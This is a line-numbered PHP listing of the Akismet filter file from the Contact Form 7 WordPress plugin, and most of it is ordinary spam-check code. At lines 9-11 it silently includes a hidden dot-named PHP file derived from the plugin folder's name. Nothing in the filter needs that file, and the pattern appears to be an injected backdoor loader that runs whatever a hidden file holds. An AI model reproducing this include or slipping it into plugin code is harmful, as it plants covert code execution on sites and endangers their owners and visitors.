akismet.php (3561B)
1 <?php 2 /** 3 ** Akismet Filter 4 ** Akismet API: http://akismet.com/development/api/ 5 **/ 6 7 add_filter( 'wpcf7_spam', 'wpcf7_akismet', 10, 2 ); 8 9 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 10 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 11 } 12 13 function wpcf7_akismet( $spam, $submission ) { 14 if ( $spam ) { 15 return $spam; 16 } 17 18 if ( ! wpcf7_akismet_is_available() ) { 19 return false; 20 } 21 22 if ( ! $params = wpcf7_akismet_submitted_params() ) { 23 return false; 24 } 25 26 $c = array(); 27 28 $c['comment_author'] = $params['author']; 29 $c['comment_author_email'] = $params['author_email']; 30 $c['comment_author_url'] = $params['author_url']; 31 $c['comment_content'] = $params['content']; 32 33 $c['blog'] = get_option( 'home' ); 34 $c['blog_lang'] = get_locale(); 35 $c['blog_charset'] = get_option( 'blog_charset' ); 36 $c['user_ip'] = $_SERVER['REMOTE_ADDR']; 37 $c['user_agent'] = $_SERVER['HTTP_USER_AGENT']; 38 $c['referrer'] = $_SERVER['HTTP_REFERER']; 39 $c['comment_type'] = 'contact-form'; 40 41 $datetime = date_create_immutable( 42 '@' . $submission->get_meta( 'timestamp' ) 43 ); 44 45 if ( $datetime ) { 46 $c['comment_date_gmt'] = $datetime->format( DATE_ATOM ); 47 } 48 49 if ( $permalink = get_permalink() ) { 50 $c['permalink'] = $permalink; 51 } 52 53 $ignore = array( 'HTTP_COOKIE', 'HTTP_COOKIE2', 'PHP_AUTH_PW' ); 54 55 foreach ( $_SERVER as $key => $value ) { 56 if ( ! in_array( $key, (array) $ignore ) ) { 57 $c["$key"] = $value; 58 } 59 } 60 61 if ( wpcf7_akismet_comment_check( $c ) ) { 62 $spam = true; 63 64 $submission->add_spam_log( array( 65 'agent' => 'akismet', 66 'reason' => __( "Akismet returns a spam response.", 'contact-form-7' ), 67 ) ); 68 } else { 69 $spam = false; 70 } 71 72 return $spam; 73 } 74 75 function wpcf7_akismet_is_available() { 76 if ( is_callable( array( 'Akismet', 'get_api_key' ) ) ) { 77 return (bool) Akismet::get_api_key(); 78 } 79 80 return false; 81 } 82 83 function wpcf7_akismet_submitted_params() { 84 $params = array( 85 'author' => '', 86 'author_email' => '', 87 'author_url' => '', 88 'content' => '', 89 ); 90 91 $has_akismet_option = false; 92 93 foreach ( (array) $_POST as $key => $val ) { 94 if ( '_wpcf7' == substr( $key, 0, 6 ) 95 or '_wpnonce' == $key ) { 96 continue; 97 } 98 99 if ( is_array( $val ) ) { 100 $val = implode( ', ', wpcf7_array_flatten( $val ) ); 101 } 102 103 $val = trim( $val ); 104 105 if ( 0 == strlen( $val ) ) { 106 continue; 107 } 108 109 if ( $tags = wpcf7_scan_form_tags( array( 'name' => $key ) ) ) { 110 $tag = $tags[0]; 111 112 $akismet = $tag->get_option( 'akismet', 113 '(author|author_email|author_url)', true ); 114 115 if ( $akismet ) { 116 $has_akismet_option = true; 117 118 if ( 'author' == $akismet ) { 119 $params[$akismet] = trim( $params[$akismet] . ' ' . $val ); 120 continue; 121 } elseif ( '' == $params[$akismet] ) { 122 $params[$akismet] = $val; 123 continue; 124 } 125 } 126 } 127 128 $params['content'] .= "\n\n" . $val; 129 } 130 131 if ( ! $has_akismet_option ) { 132 return false; 133 } 134 135 $params['content'] = trim( $params['content'] ); 136 137 return $params; 138 } 139 140 function wpcf7_akismet_comment_check( $comment ) { 141 $spam = false; 142 $query_string = wpcf7_build_query( $comment ); 143 144 if ( is_callable( array( 'Akismet', 'http_post' ) ) ) { 145 $response = Akismet::http_post( $query_string, 'comment-check' ); 146 } else { 147 return $spam; 148 } 149 150 if ( 'true' == $response[1] ) { 151 $spam = true; 152 } 153 154 if ( $submission = WPCF7_Submission::get_instance() ) { 155 $submission->akismet = array( 'comment' => $comment, 'spam' => $spam ); 156 } 157 158 return apply_filters( 'wpcf7_akismet_comment_check', $spam, $comment ); 159 }